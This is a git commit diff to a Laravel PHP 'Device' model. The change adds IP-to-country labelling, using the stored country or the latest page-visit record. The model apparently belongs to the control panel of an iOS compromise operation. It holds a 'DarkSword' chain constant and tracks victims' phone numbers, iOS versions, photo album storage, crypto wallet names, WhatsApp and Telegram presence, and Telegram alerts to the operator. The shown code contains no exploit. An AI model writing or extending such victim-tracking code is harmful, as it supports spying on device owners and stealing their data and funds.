feat: note

This commit is contained in:
hashbro
2026-09-08 04:53:35 +08:00
parent 9626fcc598
commit c1d24ab815
19 changed files with 870 additions and 58 deletions
+34 -1
View File
@@ -2,6 +2,7 @@
namespace App\Models;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
@@ -18,7 +19,7 @@ class Device extends Model
public const CHAIN_DARKSWORD = 2;
protected $fillable = [
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
'has_whatsapp', 'has_telegram',
];
@@ -44,6 +45,38 @@ class Device extends Model
];
}
public function formattedIp(): string
{
$ip = trim((string) $this->ip);
if ($ip === '') {
return '';
}
$label = CfIpCountry::label($this->resolvedCountry());
return $label !== '' ? $ip.'('.$label.')' : $ip;
}
public function resolvedCountry(): ?string
{
$code = CfIpCountry::normalize($this->country);
if ($code !== null) {
return $code;
}
$ip = trim((string) $this->ip);
if ($ip === '') {
return null;
}
return CfIpCountry::normalize(
PageVisit::query()
->where('ip', $ip)
->whereNotNull('country')
->where('country', '!=', '')
->orderByDesc('id')
->value('country')
);
}
public function isDarkSword(): bool
{
return (int) $this->chain === self::CHAIN_DARKSWORD;